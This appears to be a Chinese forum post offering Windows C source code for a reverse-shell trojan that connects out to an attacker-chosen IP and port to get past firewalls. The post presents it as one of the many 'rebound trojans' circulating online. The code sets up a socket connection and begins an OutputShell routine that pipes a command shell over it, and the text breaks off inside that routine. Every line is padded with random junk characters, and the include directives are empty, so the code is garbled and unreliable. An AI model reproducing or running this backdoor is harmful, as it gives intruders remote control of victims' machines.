这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M$|^?U>cm
^cX);koO
/* ============================== %e=BC^VW
Rebound port in Windows NT m~%IHWO'
By wind,2006/7 {PdyKgM
===============================*/ J6=*F;x6E
#include iN=-N=
#include N^:)U"9*e
}Vk#w%EJ
#pragma comment(lib,"wsock32.lib") cO_En`F
U%"v7G-
void OutputShell(); sJMT _yt;
SOCKET sClient; ]iYjS
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; : 3*(kb1)&
tP7l
;EX4
void main(int argc,char **argv) IJ[#$I+Z%
{ z[[|'02{
WSADATA stWsaData; 1dHN<xy
int nRet; "Q-TLN5(
SOCKADDR_IN stSaiClient,stSaiServer; c]#F^(-A`
^jq QG+`?
if(argc != 3) jDOB(fE
{ #jbo!
wdg
printf("Useage:\n\rRebound DestIP DestPort\n"); xyBWV]Y
return; R$_#7>3
} 6-j><'
evz{@;.R
WSAStartup(MAKEWORD(2,2),&stWsaData); W(Xb]t=19
x^xlH!Sc
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ms`R^6Ra
ALJ^XvB4V
stSaiClient.sin_family = AF_INET; auK*\Wjm?
stSaiClient.sin_port = htons(0); e@w-4G(;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~*ST fyFw
_e7Y R+
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [,yoFm%"
{ DTH;d-Z
printf("Bind Socket Failed!\n"); {OH"d
return; SI^!e1@M[
} {p=`"H>
'M VE5
stSaiServer.sin_family = AF_INET; qwoF4_VN
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (V!:6
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [x{'NwP?
]>B>.s
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) R %aed>zo
{ 1-.6psE
printf("Connect Error!"); D!^&*Ia?2
return; :Z3Tyj}4
} o]u,<bM$
OutputShell(); *S%~0=
} x2%xrlv<J/
3"!h+dXw
void OutputShell() @FO=0_;y
{ )O;6S$z9Y
char szBuff[1024]; w&8N6gA14
SECURITY_ATTRIBUTES stSecurityAttributes; .hPk}B/KV
OSVERSIONINFO stOsversionInfo; qT5q3 A(8
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Bi:%}8STH
STARTUPINFO stStartupInfo; 62)Qr
char *szShell; avxr|uk
PROCESS_INFORMATION stProcessInformation; FN0)DN2d}
unsigned long lBytesRead; EhB0w; c
Kg4\:A7Sa.
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bys5IOP{]o
`#Z=cq^_
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9EHhVi
stSecurityAttributes.lpSecurityDescriptor = 0; 6&